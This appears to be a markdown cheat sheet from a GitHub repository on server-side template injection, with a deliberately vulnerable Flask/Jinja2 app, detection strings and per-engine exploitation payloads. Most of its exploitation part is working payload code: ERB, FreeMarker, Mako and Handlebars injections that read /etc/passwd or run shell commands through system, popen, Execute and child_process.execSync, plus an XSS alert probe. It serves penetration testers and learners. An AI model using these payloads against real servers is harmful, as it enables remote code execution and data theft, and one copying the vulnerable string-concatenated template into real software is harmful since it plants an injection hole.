Skip to content

Latest commit

 

History

History
340 lines (244 loc) · 7.65 KB

serverside_template_injection.md

File metadata and controls

340 lines (244 loc) · 7.65 KB

Server-side Template Injection (SSTI)

Templates are commonly used to generate dynamic web pages on the server side. The generated web page is then served to the user who (if everything works as intended) only sees the finished product.

Server side template example

Jinja2 Template Engine with Python3 Flask web server:

#!/usr/bin/env python3
from flask import Flask, request, make_response
from jinja2 import Template

app = Flask("Cool App!")
products = ["Hammer", "Screwdriver", "Woodscrews"]

example_template = """
<h1>Products:</h1>
<ul>
{%- for product in product_list %}
    <li>{{ product }}</li>
{%- endfor %}
</ul>
"""

@app.route('/products')
def products():
    template = Template(example_template)
    response_body = template.render(product_list=products)
    return make_response(response_body)

if __name__ == '__main__':
    app.run()

When the user visits: http://server.example/products

Then the user receives:

<h1>Products:</h1>
<ul>
    <li>Hammer</li>
    <li>Screwdriver</li>
    <li>Woodscrews</li>
</ul>

Vulnerable Code

Now if user input is inserted in an unsafe manner into the template before or during the rendering of the template, then it might allow an attacker to access hidden server-side resources (Information leak) and/or execute internal functions of the server application (RCE - Remote Code Execution).

Let us turn that example unsafe:

#!/usr/bin/env python3
from flask import Flask, request, make_response
from jinja2 import Template

app = Flask("Insecure App!!!")
products = ["Hammer", "Screwdriver", "Woodscrews"]

example_template = """
<h1>Products</h1>
<ul>
{%- for product in product_list %}
    <li>{{ product }}</li>
{%- endfor %}
</ul>
"""

@app.route('/unsafe')
def unsafe():
    name = request.args.get('name', '')
    example_template_custom = f"<p>Hello {name}!</p>" + example_template

    template = Template(example_template_custom)
    response_body = template.render(product_list=products)

    return make_response(response_body)

if __name__ == '__main__':
    app.run()

http://127.0.0.1:5000/unsafe?name=Bob

<p>Hello Bob!</p>
<h1>Products</h1>
<ul>
    <li>Hammer</li>
    <li>Screwdriver</li>
    <li>Woodscrews</li>
</ul>

http://127.0.0.1:5000/unsafe?name={{7*7}}

<p>Hello 49!</p>
<h1>Products</h1>
<ul>
    <li>Hammer</li>
    <li>Screwdriver</li>
    <li>Woodscrews</li>
</ul>

The input gets interpreted as template syntax.

Not just XSS!

It is easy to mistake an SSTI vulnerability for simple XSS. For example when the user visits:

http://127.0.0.1:5000/unsafe?name=<script>alert(document.domain)</script>

<p>Hello <script>alert(document.domain)</script>!</p>
<h1>Products</h1>
<ul>
    <li>Hammer</li>
    <li>Screwdriver</li>
    <li>Woodscrews</li>
</ul>

The javascript function alert() gets executed in the browser of the visitor, which demonstrates the existence of a Cross-Site Scripting vulnerability.

A security researcher might see this, be happy that they found a vulnerability, and miss the more serious underlying SSTI vulnerability.

Identify

Portswigger Academy recommends the following test string:

${{<%[%'"}}%\.

It combines the syntax of the most common template engines.

You might have found a template injection if the server response:

  • reflects the string changed
  • returns nothing
  • throws an error

If you can provoke an error message, then it leak the used Template Engine and backend programming language (Python, JavaScript, Java, etc.).

If the server returns a banner in its HTTP responses (e.g. Django) then you should check the most popular template engines for that server type.

Next you should check the following injections:

{{7*7}}
{7*7}
${7*7}
#{7*7}
<%= 7*7 %>
${{7*7}}
#{{7*7}}

If one of those works then the server will reflect back 49.

Sometimes you also get the same effect without template tags:

7 * 7

And it reflect back 49.

So the the Portswigger test string is not exhaustive when it comes to identifying all SSTI vulns.

Note: The case without tags could also inidicate an eval() injection.

Syntax Overview Cheatsheet

Most template engines use similar syntax to one another, which complicates identifying the correct Template Engine.

Exploitation will differ based on the used language and template engine.

ERB - Embedded Ruby - eRuby

Template syntax:

# expression
<%= 7 * 7 %>  # prints 49

# execute code directly (does not print anything directly)
<% CODE %>

# comment (does nothing)
<%# COMMENT %>

# print variable content
<%= @myvar %>
<%= scope['variable'] %>
<%= scope.lookupvar('variable')) %>

# conditionals
<% if @mybool == true -%>
    <b>I am conditional!</b> 
<% end -%>

# for loop
<% @values.each do |val| -%>
  Some stuff with <%= val %>
<% end -%>

# call function
<%= scope.function_template(["my_module/template2.erb"]) %>

Exploitation:

# file read
<%= File.open('/etc/passwd').read %>

# dir listing
<%= Dir.entries('/') %>

RCE's:

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

Jinja2 (Python)

Many Python Template engines are based on Jinja. It is Flask's default template engine and it is also used by Ansible, Trac, and Salt.

Unlike the Django Template engine, Jinja allows the calling of functions from the template.

Template syntax:

# expression
{{ 7 * 7 }}  # prints 49
{{ obj.func('parameter') }}

# for loop
{%- for product in product_list %}
    {{ product }}, 
{%- endfor %}

# if-else
{% if not truthvalue %} 
  <b>I am conditional!</b> 
{% endif %}

FreeMarker (Java)

${1+1}
#{3 * 3}

File read:

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('path_to_the_file').toURL().openStream().readAllBytes()?join(" ")}
# you have to convert the byte values to ascii

RCE:

<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

Mako (Python)

RCE:

<%
import os
x=os.popen('id').read()
%>
${x}

Handlebars (JavaScript)

RCE (insert your commands in line 9):

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').execSync('ls -la');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

You probably want to remove the new-lines/whitespace and url-encode it when you inject it via GET/POST parameter.

Resources